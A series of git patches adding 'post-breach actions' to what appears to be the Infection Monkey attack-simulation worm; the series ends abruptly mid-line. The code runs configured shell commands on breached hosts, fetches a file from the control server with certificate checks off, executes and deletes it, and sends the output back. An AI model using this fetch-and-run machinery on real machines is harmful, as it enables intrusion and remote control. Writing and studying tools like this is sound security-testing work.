From e5f908754a8d2ef8f473092df616161f7c134be6 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Tue, 29 Jan 2019 18:11:01 +0200 Subject: [PATCH 01/19] Started implementing custom post-breach actions --- monkey/infection_monkey/model/host.py | 3 ++ .../post_breach/post_breach.py | 45 +++++++++++++++++++ .../cc/services/config_schema.py | 16 +++++-- 3 files changed, 60 insertions(+), 4 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/post_breach.py diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index dcc6e7455..3d8c3d0e6 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -46,3 +46,6 @@ class VictimHost(object): def set_default_server(self, default_server): self.default_server = default_server + + def is_linux(self): + return 'linux' in self.os['type'] diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py new file mode 100644 index 000000000..24274582a --- /dev/null +++ b/monkey/infection_monkey/post_breach/post_breach.py @@ -0,0 +1,45 @@ +import logging +import infection_monkey.config +import subprocess +from abc import abstractmethod + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + + +# Class that handles post breach action execution +class PostBreach(object): + def __init__(self, host, pba_list): + self._config = infection_monkey.config.WormConfiguration + self.pba_list = pba_list + self.host = host + + def execute(self): + for pba in self.pba_list: + if self.host.is_linux(): + pba.execute_linux() + else: + pba.execute_win() + + @staticmethod + @abstractmethod + def config_to_pba_list(config): + """ + Should return a list of PBA's generated from config + """ + raise NotImplementedError() + + +# Post Breach Action container +class PBA(object): + def __init__(self, linux_command="", windows_command=""): + self.linux_command = linux_command + self.windows_command = windows_command + + def execute_linux(self): + return subprocess.check_output(self.linux_command, shell=True) + + def execute_win(self): + return subprocess.check_output(self.windows_command, shell=True) + diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index cbcc6ba0a..e0c286065 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -298,10 +298,18 @@ SCHEMA = { }, "post_breach_actions": { "title": "Post breach actions", - "type": "array", - "uniqueItems": True, - "items": { - "$ref": "#/definitions/post_breach_acts" + "type": "object", + "properties": { + "linux": { + "title": "Linux command", + "type": "string", + "description": "Linux command to execute after breaching" + }, + "windows": { + "title": "Windows command", + "type": "string", + "description": "Windows command to execute after breaching" + } }, "default": [ ], From 8e78150db447fe5488ef2e30db63a64642872f73 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Wed, 30 Jan 2019 13:58:15 +0200 Subject: [PATCH 02/19] Front end input changed to text area --- .../cc/ui/src/components/pages/ConfigurePage.js | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index 5915b3eaa..e154ba330 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -152,6 +152,18 @@ class ConfigurePageComponent extends AuthComponent { render() { let displayedSchema = {}; + const uiSchema = { + general: { + post_breach_actions: { + linux: { + "ui:widget": "textarea" + }, + windows: { + "ui:widget": "textarea" + } + } + } + }; if (this.state.schema.hasOwnProperty('properties')) { displayedSchema = this.state.schema['properties'][this.state.selectedSection]; displayedSchema['definitions'] = this.state.schema['definitions']; @@ -178,6 +190,7 @@ class ConfigurePageComponent extends AuthComponent { } { this.state.selectedSection ?
From 20d774b7df21aba70890c642760cf8c1fa6eb587 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Feb 2019 09:57:57 +0200 Subject: [PATCH 03/19] Core functionality added, not tested yet --- monkey/infection_monkey/config.py | 6 +---- monkey/infection_monkey/monkey.py | 5 ++++ .../post_breach/post_breach.py | 24 ++++++++--------- .../monkey_island/cc/resources/telemetry.py | 10 ++++++- .../cc/services/config_schema.py | 27 +++++-------------- .../ui/src/components/pages/ConfigurePage.js | 2 +- 6 files changed, 35 insertions(+), 39 deletions(-) diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 723806388..65015b76c 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,7 +20,6 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') - post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -37,9 +36,6 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) - elif key == 'post_breach_actions': - class_objects = [getattr(post_breach_import, val) for val in value] - setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -270,7 +266,7 @@ class Configuration(object): extract_azure_creds = True - post_breach_actions = [] + post_breach_actions = {} WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 4089a1c07..8055742a5 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,6 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader +from infection_monkey.post_breach.post_breach import PostBreach __author__ = 'itamar' @@ -112,6 +113,10 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) + pb = PostBreach() + output = pb.execute() + ControlClient.send_telemetry("post_breach", {'output': output}) + for action_class in WormConfiguration.post_breach_actions: action = action_class() action.act() diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py index 24274582a..12577fe25 100644 --- a/monkey/infection_monkey/post_breach/post_breach.py +++ b/monkey/infection_monkey/post_breach/post_breach.py @@ -1,7 +1,7 @@ import logging import infection_monkey.config import subprocess -from abc import abstractmethod +import platform LOG = logging.getLogger(__name__) @@ -10,25 +10,25 @@ __author__ = 'VakarisZ' # Class that handles post breach action execution class PostBreach(object): - def __init__(self, host, pba_list): - self._config = infection_monkey.config.WormConfiguration - self.pba_list = pba_list - self.host = host + def __init__(self): + self.pba_list = PostBreach.config_to_pba_list(infection_monkey.config.WormConfiguration) def execute(self): for pba in self.pba_list: - if self.host.is_linux(): - pba.execute_linux() + if platform.system() == 'Windows': + return pba.execute_win() else: - pba.execute_win() + return pba.execute_linux() @staticmethod - @abstractmethod def config_to_pba_list(config): """ Should return a list of PBA's generated from config """ - raise NotImplementedError() + pba_list = [] + if config.post_breach_actions["linux"] or config.post_breach_actions["windows"]: + pba_list.append(PBA(config.post_breach_actions["linux"], config.post_breach_actions["windows"])) + return pba_list # Post Breach Action container @@ -38,8 +38,8 @@ class PBA(object): self.windows_command = windows_command def execute_linux(self): - return subprocess.check_output(self.linux_command, shell=True) + return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False def execute_win(self): - return subprocess.check_output(self.windows_command, shell=True) + return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 57148aa0f..12e11ca9d 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -257,6 +257,13 @@ class Telemetry(flask_restful.Resource): if len(credential) > 0: attempts[i][field] = encryptor.enc(credential.encode('utf-8')) + @staticmethod + def process_post_breach_telemetry(telemetry_json): + if telemetry_json['output']: + node = NodeService.get_or_create_node(telemetry_json['ip'], telemetry_json['domain_name']) + + + pass TELEM_PROCESS_DICT = \ { @@ -265,5 +272,6 @@ TELEM_PROCESS_DICT = \ 'exploit': Telemetry.process_exploit_telemetry, 'scan': Telemetry.process_scan_telemetry, 'system_info_collection': Telemetry.process_system_info_telemetry, - 'trace': Telemetry.process_trace_telemetry + 'trace': Telemetry.process_trace_telemetry, + 'post_breach': Telemetry.process_post_breach_telemetry } diff --git a/monkey/monkey_island/cc/services/config_schema.py b/monkey/monkey_island/cc/services/config_schema.py index e0c286065..ff27cf101 100644 --- a/monkey/monkey_island/cc/services/config_schema.py +++ b/monkey/monkey_island/cc/services/config_schema.py @@ -94,19 +94,6 @@ SCHEMA = { } ] }, - "post_breach_acts": { - "title": "Post breach actions", - "type": "string", - "anyOf": [ - { - "type": "string", - "enum": [ - "BackdoorUser" - ], - "title": "Back door user", - }, - ], - }, "finger_classes": { "title": "Fingerprint class", "type": "string", @@ -295,7 +282,13 @@ SCHEMA = { "type": "boolean", "default": True, "description": "Is the monkey alive" - }, + } + } + }, + "behaviour": { + "title": "Behaviour", + "type": "object", + "properties": { "post_breach_actions": { "title": "Post breach actions", "type": "object", @@ -315,12 +308,6 @@ SCHEMA = { ], "description": "List of actions the Monkey will run post breach" }, - } - }, - "behaviour": { - "title": "Behaviour", - "type": "object", - "properties": { "self_delete_in_cleanup": { "title": "Self delete on cleanup", "type": "boolean", diff --git a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js index e154ba330..05e29fde0 100644 --- a/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js +++ b/monkey/monkey_island/cc/ui/src/components/pages/ConfigurePage.js @@ -153,7 +153,7 @@ class ConfigurePageComponent extends AuthComponent { render() { let displayedSchema = {}; const uiSchema = { - general: { + behaviour: { post_breach_actions: { linux: { "ui:widget": "textarea" From eb05dd46e761af44ee45a3cfe259537b65f2377d Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 4 Feb 2019 18:38:04 +0200 Subject: [PATCH 04/19] PBA's stored on the database --- monkey/infection_monkey/monkey.py | 8 +---- .../post_breach/post_breach.py | 31 ++++++++++++++----- .../monkey_island/cc/resources/telemetry.py | 8 ++--- .../cc/resources/telemetry_feed.py | 12 ++++++- 4 files changed, 38 insertions(+), 21 deletions(-) diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index 8055742a5..c03b29700 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -113,13 +113,7 @@ class InfectionMonkey(object): system_info = system_info_collector.get_info() ControlClient.send_telemetry("system_info_collection", system_info) - pb = PostBreach() - output = pb.execute() - ControlClient.send_telemetry("post_breach", {'output': output}) - - for action_class in WormConfiguration.post_breach_actions: - action = action_class() - action.act() + PostBreach().execute() if 0 == WormConfiguration.depth: LOG.debug("Reached max depth, shutting down") diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py index 12577fe25..c3b6d40f9 100644 --- a/monkey/infection_monkey/post_breach/post_breach.py +++ b/monkey/infection_monkey/post_breach/post_breach.py @@ -2,6 +2,7 @@ import logging import infection_monkey.config import subprocess import platform +from infection_monkey.control import ControlClient LOG = logging.getLogger(__name__) @@ -15,27 +16,41 @@ class PostBreach(object): def execute(self): for pba in self.pba_list: - if platform.system() == 'Windows': - return pba.execute_win() - else: - return pba.execute_linux() + pba.run() @staticmethod def config_to_pba_list(config): """ - Should return a list of PBA's generated from config + Should return a list of PBA's generated from config. After ATT&CK is implemented this will pick + which PBA's to run. """ pba_list = [] - if config.post_breach_actions["linux"] or config.post_breach_actions["windows"]: - pba_list.append(PBA(config.post_breach_actions["linux"], config.post_breach_actions["windows"])) + # Get custom PBA command from config + custom_pba_linux = config.post_breach_actions['linux'] if "linux" in config.post_breach_actions else "" + custom_pba_windows = config.post_breach_actions['windows'] if "windows" in config.post_breach_actions else "" + + if custom_pba_linux or custom_pba_windows: + pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) return pba_list # Post Breach Action container class PBA(object): - def __init__(self, linux_command="", windows_command=""): + def __init__(self, name="unknown", linux_command="", windows_command=""): self.linux_command = linux_command self.windows_command = windows_command + self.name = name + + def run(self): + if platform.system() == 'Windows': + ControlClient.send_telemetry('post_breach', {'command': self.windows_command, + 'output': self.execute_win(), + 'name': self.name}) + else: + ControlClient.send_telemetry('post_breach', {'command': self.linux_command, + 'output': self.execute_linux(), + 'name': self.name}) + return False def execute_linux(self): return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False diff --git a/monkey/monkey_island/cc/resources/telemetry.py b/monkey/monkey_island/cc/resources/telemetry.py index 12e11ca9d..d6c6a5585 100644 --- a/monkey/monkey_island/cc/resources/telemetry.py +++ b/monkey/monkey_island/cc/resources/telemetry.py @@ -259,11 +259,9 @@ class Telemetry(flask_restful.Resource): @staticmethod def process_post_breach_telemetry(telemetry_json): - if telemetry_json['output']: - node = NodeService.get_or_create_node(telemetry_json['ip'], telemetry_json['domain_name']) - - - pass + mongo.db.monkey.update( + {'guid': telemetry_json['monkey_guid']}, + {'$push': {'post_breach_actions': telemetry_json['data']}}) TELEM_PROCESS_DICT = \ { diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index deeb0f4da..4b373330d 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -80,6 +80,15 @@ class TelemetryFeed(flask_restful.Resource): def get_trace_telem_brief(telem): return 'Monkey reached max depth.' + @staticmethod + def get_post_breach_telem_brief(telem): + target = telem['data']['ip'] + output = telem['data']['output'] + if output: + return 'Monkey ran post breach commands on %s.' % target + else: + return 'Monkey failed running post breach commands on %s.' % target + TELEM_PROCESS_DICT = \ { @@ -88,5 +97,6 @@ TELEM_PROCESS_DICT = \ 'exploit': TelemetryFeed.get_exploit_telem_brief, 'scan': TelemetryFeed.get_scan_telem_brief, 'system_info_collection': TelemetryFeed.get_systeminfo_telem_brief, - 'trace': TelemetryFeed.get_trace_telem_brief + 'trace': TelemetryFeed.get_trace_telem_brief, + 'post_breach': TelemetryFeed.get_post_breach_telem_brief } From 2ce27dc885fc98f88f71c1b8be6cc0e0e8272087 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Mon, 11 Feb 2019 13:24:33 +0200 Subject: [PATCH 05/19] Added primitive display of post breach actions --- monkey/monkey_island/cc/resources/telemetry_feed.py | 7 +------ monkey/monkey_island/cc/services/node.py | 3 ++- monkey/monkey_island/cc/services/report.py | 3 ++- .../src/components/report-components/BreachedServers.js | 8 +++++++- 4 files changed, 12 insertions(+), 9 deletions(-) diff --git a/monkey/monkey_island/cc/resources/telemetry_feed.py b/monkey/monkey_island/cc/resources/telemetry_feed.py index 4b373330d..05ed841a6 100644 --- a/monkey/monkey_island/cc/resources/telemetry_feed.py +++ b/monkey/monkey_island/cc/resources/telemetry_feed.py @@ -82,12 +82,7 @@ class TelemetryFeed(flask_restful.Resource): @staticmethod def get_post_breach_telem_brief(telem): - target = telem['data']['ip'] - output = telem['data']['output'] - if output: - return 'Monkey ran post breach commands on %s.' % target - else: - return 'Monkey failed running post breach commands on %s.' % target + pass TELEM_PROCESS_DICT = \ diff --git a/monkey/monkey_island/cc/services/node.py b/monkey/monkey_island/cc/services/node.py index 50c921be8..68304e60b 100644 --- a/monkey/monkey_island/cc/services/node.py +++ b/monkey/monkey_island/cc/services/node.py @@ -142,7 +142,8 @@ class NodeService: "group": NodeService.get_monkey_group(monkey), "os": NodeService.get_monkey_os(monkey), "dead": monkey["dead"], - "domain_name": "" + "domain_name": "", + "post_breach_actions": monkey["post_breach_actions"] } @staticmethod diff --git a/monkey/monkey_island/cc/services/report.py b/monkey/monkey_island/cc/services/report.py index 73ca69b5b..b84c1d4d5 100644 --- a/monkey/monkey_island/cc/services/report.py +++ b/monkey/monkey_island/cc/services/report.py @@ -155,7 +155,8 @@ class ReportService: 'domain_name': monkey['domain_name'], 'exploits': list(set( [ReportService.EXPLOIT_DISPLAY_DICT[exploit['exploiter']] for exploit in monkey['exploits'] if - exploit['result']])) + exploit['result']])), + 'post_breach_actions': monkey['post_breach_actions'] if 'post_breach_actions' in monkey else 'None' } for monkey in exploited] diff --git a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js index 16f445ce9..02ed3610f 100644 --- a/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js +++ b/monkey/monkey_island/cc/ui/src/components/report-components/BreachedServers.js @@ -9,6 +9,10 @@ let renderIpAddresses = function (val) { return
{renderArray(val.ip_addresses)} {(val.domain_name ? " (".concat(val.domain_name, ")") : "")}
; }; +let renderPostBreach = function (val) { + return
{val.map(x =>
Name: {x.name}
Command: {x.command}
Output: {x.output}
)}
; +}; + const columns = [ { Header: 'Breached Servers', @@ -16,7 +20,9 @@ const columns = [ {Header: 'Machine', accessor: 'label'}, {Header: 'IP Addresses', id: 'ip_addresses', accessor: x => renderIpAddresses(x)}, - {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)} + {Header: 'Exploits', id: 'exploits', accessor: x => renderArray(x.exploits)}, + {Header: 'Post breach actions:', id: 'post_breach_actions', accessor: x => renderPostBreach(x.post_breach_actions)} + ] } ]; From d539f2301c5a4180f7d981e4dbbea08d44958b74 Mon Sep 17 00:00:00 2001 From: VakarisZ Date: Fri, 15 Feb 2019 15:56:20 +0200 Subject: [PATCH 06/19] Separating my post breach from previous post breach --- monkey/infection_monkey/config.py | 12 ++- monkey/infection_monkey/example.conf | 5 +- monkey/infection_monkey/model/host.py | 3 - monkey/infection_monkey/monkey.py | 2 +- .../post_breach/file_execution.py | 8 ++ monkey/infection_monkey/post_breach/pba.py | 38 +++++++ .../post_breach/post_breach.py | 60 ----------- .../post_breach/post_breach_handler.py | 102 ++++++++++++++++++ monkey/monkey_island/cc/app.py | 2 + .../cc/resources/pba_file_download.py | 14 +++ monkey/monkey_island/cc/services/config.py | 47 ++++++++ .../cc/services/config_schema.py | 79 +++++++++++++- monkey/monkey_island/cc/services/node.py | 2 +- .../ui/src/components/pages/ConfigurePage.js | 14 ++- .../cc/ui/src/components/pages/ReportPage.js | 4 + .../report-components/BreachedServers.js | 8 +- .../report-components/PostBreach.js | 53 +++++++++ 17 files changed, 372 insertions(+), 81 deletions(-) create mode 100644 monkey/infection_monkey/post_breach/file_execution.py create mode 100644 monkey/infection_monkey/post_breach/pba.py delete mode 100644 monkey/infection_monkey/post_breach/post_breach.py create mode 100644 monkey/infection_monkey/post_breach/post_breach_handler.py create mode 100644 monkey/monkey_island/cc/resources/pba_file_download.py create mode 100644 monkey/monkey_island/cc/ui/src/components/report-components/PostBreach.js diff --git a/monkey/infection_monkey/config.py b/monkey/infection_monkey/config.py index 65015b76c..a08e17fe5 100644 --- a/monkey/infection_monkey/config.py +++ b/monkey/infection_monkey/config.py @@ -20,6 +20,7 @@ class Configuration(object): # now we won't work at <2.7 for sure network_import = importlib.import_module('infection_monkey.network') exploit_import = importlib.import_module('infection_monkey.exploit') + post_breach_import = importlib.import_module('infection_monkey.post_breach') unknown_items = [] for key, value in formatted_data.items(): @@ -36,6 +37,9 @@ class Configuration(object): elif key == 'exploiter_classes': class_objects = [getattr(exploit_import, val) for val in value] setattr(self, key, class_objects) + elif key == 'post_breach_actions': + class_objects = [getattr(post_breach_import, val) for val in value] + setattr(self, key, class_objects) else: if hasattr(self, key): setattr(self, key, value) @@ -266,7 +270,13 @@ class Configuration(object): extract_azure_creds = True - post_breach_actions = {} + post_breach_actions = [] + custom_post_breach = {"linux": "", + "windows": "", + "linux_file": None, + "windows_file": None, + "linux_file_info": None, + "windows_file_info": None} WormConfiguration = Configuration() diff --git a/monkey/infection_monkey/example.conf b/monkey/infection_monkey/example.conf index b3b44c585..fee397f2e 100644 --- a/monkey/infection_monkey/example.conf +++ b/monkey/infection_monkey/example.conf @@ -8,7 +8,7 @@ ], "keep_tunnel_open_time": 60, "subnet_scan_list": [ - + ], "inaccessible_subnets": [], "blocked_ips": [], @@ -97,5 +97,6 @@ "use_file_logging": true, "victims_max_exploit": 7, "victims_max_find": 30, - "post_breach_actions" : [] + "post_breach_actions" : [], + "custom_post_breach" : { "linux": "", "windows": "", "linux_file": "", "windows_file": "" } } diff --git a/monkey/infection_monkey/model/host.py b/monkey/infection_monkey/model/host.py index 3d8c3d0e6..dcc6e7455 100644 --- a/monkey/infection_monkey/model/host.py +++ b/monkey/infection_monkey/model/host.py @@ -46,6 +46,3 @@ class VictimHost(object): def set_default_server(self, default_server): self.default_server = default_server - - def is_linux(self): - return 'linux' in self.os['type'] diff --git a/monkey/infection_monkey/monkey.py b/monkey/infection_monkey/monkey.py index c03b29700..039052ad0 100644 --- a/monkey/infection_monkey/monkey.py +++ b/monkey/infection_monkey/monkey.py @@ -16,7 +16,7 @@ from infection_monkey.network.network_scanner import NetworkScanner from infection_monkey.system_info import SystemInfoCollector from infection_monkey.system_singleton import SystemSingleton from infection_monkey.windows_upgrader import WindowsUpgrader -from infection_monkey.post_breach.post_breach import PostBreach +from infection_monkey.post_breach.post_breach_handler import PostBreach __author__ = 'itamar' diff --git a/monkey/infection_monkey/post_breach/file_execution.py b/monkey/infection_monkey/post_breach/file_execution.py new file mode 100644 index 000000000..ef575d8cc --- /dev/null +++ b/monkey/infection_monkey/post_breach/file_execution.py @@ -0,0 +1,8 @@ +from infection_monkey.post_breach.pba import PBA + + +class FileExecution(PBA): + def __init__(self, file_path): + linux_command = "chmod 110 {0} ; {0} ; rm {0}".format(file_path) + win_command = "{0} & del {0}".format(file_path) + super(FileExecution, self).__init__("File execution", linux_command, win_command) diff --git a/monkey/infection_monkey/post_breach/pba.py b/monkey/infection_monkey/post_breach/pba.py new file mode 100644 index 000000000..ab639c536 --- /dev/null +++ b/monkey/infection_monkey/post_breach/pba.py @@ -0,0 +1,38 @@ +import logging +from infection_monkey.control import ControlClient +import subprocess + +LOG = logging.getLogger(__name__) + + +# Post Breach Action container +class PBA(object): + def __init__(self, name="unknown", linux_command="", windows_command=""): + self.linux_command = linux_command + self.windows_command = windows_command + self.name = name + + def run(self, is_linux): + if is_linux: + command = self.linux_command + exec_funct = self.execute_linux + else: + command = self.windows_command + exec_funct = self.execute_win + try: + ControlClient.send_telemetry('post_breach', {'command': command, + 'output': exec_funct(), + 'name': self.name}) + return True + except subprocess.CalledProcessError as e: + ControlClient.send_telemetry('post_breach', {'command': command, + 'output': "Couldn't execute post breach command: %s" % e, + 'name': self.name}) + LOG.error("Couldn't execute post breach command: %s" % e) + return False + + def execute_linux(self): + return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False + + def execute_win(self): + return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False diff --git a/monkey/infection_monkey/post_breach/post_breach.py b/monkey/infection_monkey/post_breach/post_breach.py deleted file mode 100644 index c3b6d40f9..000000000 --- a/monkey/infection_monkey/post_breach/post_breach.py +++ /dev/null @@ -1,60 +0,0 @@ -import logging -import infection_monkey.config -import subprocess -import platform -from infection_monkey.control import ControlClient - -LOG = logging.getLogger(__name__) - -__author__ = 'VakarisZ' - - -# Class that handles post breach action execution -class PostBreach(object): - def __init__(self): - self.pba_list = PostBreach.config_to_pba_list(infection_monkey.config.WormConfiguration) - - def execute(self): - for pba in self.pba_list: - pba.run() - - @staticmethod - def config_to_pba_list(config): - """ - Should return a list of PBA's generated from config. After ATT&CK is implemented this will pick - which PBA's to run. - """ - pba_list = [] - # Get custom PBA command from config - custom_pba_linux = config.post_breach_actions['linux'] if "linux" in config.post_breach_actions else "" - custom_pba_windows = config.post_breach_actions['windows'] if "windows" in config.post_breach_actions else "" - - if custom_pba_linux or custom_pba_windows: - pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) - return pba_list - - -# Post Breach Action container -class PBA(object): - def __init__(self, name="unknown", linux_command="", windows_command=""): - self.linux_command = linux_command - self.windows_command = windows_command - self.name = name - - def run(self): - if platform.system() == 'Windows': - ControlClient.send_telemetry('post_breach', {'command': self.windows_command, - 'output': self.execute_win(), - 'name': self.name}) - else: - ControlClient.send_telemetry('post_breach', {'command': self.linux_command, - 'output': self.execute_linux(), - 'name': self.name}) - return False - - def execute_linux(self): - return subprocess.check_output(self.linux_command, shell=True) if self.linux_command else False - - def execute_win(self): - return subprocess.check_output(self.windows_command, shell=True) if self.windows_command else False - diff --git a/monkey/infection_monkey/post_breach/post_breach_handler.py b/monkey/infection_monkey/post_breach/post_breach_handler.py new file mode 100644 index 000000000..b43832bd0 --- /dev/null +++ b/monkey/infection_monkey/post_breach/post_breach_handler.py @@ -0,0 +1,102 @@ +import logging +import infection_monkey.config +import platform +from infection_monkey.control import ControlClient +import infection_monkey.monkeyfs as monkeyfs +from infection_monkey.config import WormConfiguration +import requests +import shutil +import os +from file_execution import FileExecution +from pba import PBA + +LOG = logging.getLogger(__name__) + +__author__ = 'VakarisZ' + +DOWNLOAD_CHUNK = 1024 + + +# Class that handles post breach action execution +class PostBreach(object): + def __init__(self): + self.os_is_linux = False if platform.system() == 'Windows' else True + self.pba_list = self.config_to_pba_list(infection_monkey.config.WormConfiguration) + + def execute(self): + for pba in self.pba_list: + pba.run(self.os_is_linux) + + def config_to_pba_list(self, config): + """ + Should return a list of PBA's generated from config. After full implementation this will pick + which PBA's to run. + """ + pba_list = [] + # Get custom PBA commands from config + custom_pba_linux = config.custom_post_breach['linux'] + custom_pba_windows = config.custom_post_breach['windows'] + + if custom_pba_linux or custom_pba_windows: + pba_list.append(PBA('custom_pba', custom_pba_linux, custom_pba_windows)) + + # Download user's pba file by providing dest. dir, filename and file size + if config.custom_post_breach['linux_file'] and self.os_is_linux: + uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), + config.custom_post_breach['linux_file_info']['name'], + config.custom_post_breach['linux_file_info']['size']) + if not custom_pba_linux and uploaded: + pba_list.append(FileExecution("./"+config.custom_post_breach['linux_file_info']['name'])) + elif config.custom_post_breach['windows_file'] and not self.os_is_linux: + uploaded = PostBreach.download_PBA_file(PostBreach.get_dest_dir(config, self.os_is_linux), + config.custom_post_breach['windows_file_info']['name'], + config.custom_post_breach['windows_file_info']['size']) + if not custom_pba_windows and uploaded: + pba_list.append(FileExecution(config.custom_post_breach['windows_file_info']['name'])) + + return pba_list + + @staticmethod + def download_PBA_file(dst_dir, filename, size): + PBA_file_v_path = PostBreach.download_PBA_file_to_vfs(filename, size) + try: + with monkeyfs.open(PBA_file_v_path, "rb") as downloaded_PBA_file: + with open(os.path.join(dst_dir, filename), 'wb') as written_PBA_file: + shutil.copyfileobj(downloaded_PBA_file, written_PBA_file) + return True + except IOError as e: + LOG.error("Can not download post breach file to target machine, because %s" % e) + return False + + @staticmethod + def download_PBA_file_to_vfs(filename, size): + if not WormConfiguration.current_server: + return None + try: + dest_file = monkeyfs.virtual_path(filename) + if (monkeyfs.isfile(dest_file)) and (size == monkeyfs.getsize(dest_file)): + return dest_file + else: + download = requests.get("https://%s/api/pba/download/%s" % + (WormConfiguration.current_server, filename), + verify=False, + proxies=ControlClient.proxies) + + with monkeyfs.open(dest_file, 'wb') as file_obj: + for chunk in download.iter_content(chunk_size=DOWNLOAD_CHUNK): + if chunk: + file_obj.write(chunk) + file_obj.flush() + if size == monkeyfs.getsize(dest_file): + return dest_file + + except Exception as exc: + LOG.warn("Error connecting to control server %s: %s", + WormConfiguration.current_server, exc) + + @staticmethod + def get_dest_dir(config, is_linux): + if is_linux: + return os.path.dirname(config.dropper_target_path_linux) + else: + return os.path.dirname(config.dropper_target_path_win_32) diff --git a/monkey/monkey_island/cc/app.py b/monkey/monkey_island/cc/app.py index ef8410ed9..350c0b861 100644 --- a/monkey/monkey_island/cc/app.py +++ b/monkey/monkey_island/cc/app.py @@ -27,6 +27,7 @@ from cc.resources.report import Report from cc.resources.root import Root from cc.resources.telemetry import Telemetry from cc.resources.telemetry_feed import TelemetryFeed +from cc.resources.pba_file_download import PBAFileDownload from cc.services.config import ConfigService __author__ = 'Barak' @@ -116,6 +117,7 @@ def init_app(mongo_url): api.add_resource(TelemetryFeed, '/api/telemetry-feed', '/api/telemetry-feed/') api.add_resource(Log, '/api/log', '/api/log/') api.add_resource(IslandLog, '/api/log/island/download', '/api/log/island/download/') + api.add_resource(PBAFileDownload, '/api/pba/download/') api.add_resource(RemoteRun, '/api/remote-monkey', '/api/remote-monkey/') return app diff --git a/monkey/monkey_island/cc/resources/pba_file_download.py b/monkey/monkey_island/cc/resources/pba_file_download.py new file mode 100644 index 000000000..9c39d8f79 --- /dev/null +++ b/monkey/monkey_island/cc/resources/pba_file_download.py @@ -0,0 +1,14 @@ +import json +import logging +import os + +import flask_restful +from flask import request, send_from_directory + +UPLOADS_DIR = "./userUploads" + + +class PBAFileDownload(flask_restful.Resource): + # Used by monkey. can't secure. + def get(self, path): + return send_from_directory(UPLOADS_DIR, path) diff --git a/monkey/monkey_island/cc/services/config.py b/monkey/monkey_island/cc/services/config.py index ae5755174..76a67a3c4 100644 --- a/monkey/monkey_island/cc/services/config.py +++ b/monkey/monkey_island/cc/services/config.py @@ -4,6 +4,9 @@ import functools import logging from jsonschema import Draft4Validator, validators from six import string_types +from werkzeug.utils import secure_filename +import os +import base64 from cc.database import mongo from cc.encryptor import encryptor @@ -33,6 +36,7 @@ ENCRYPTED_CONFIG_STRINGS = \ ['cnc', 'aws_config', 'aws_secret_access_key'] ] +UPLOADS_DIR = './monkey_island/cc/userUploads' class ConfigService: default_config = None @@ -138,6 +142,8 @@ class ConfigService: @staticmethod def update_config(config_json, should_encrypt): + if 'custom_post_breach' in config_json['monkey']['behaviour']: + ConfigService.add_PBA_files(config_json['monkey']['behaviour']['custom_post_breach']) if 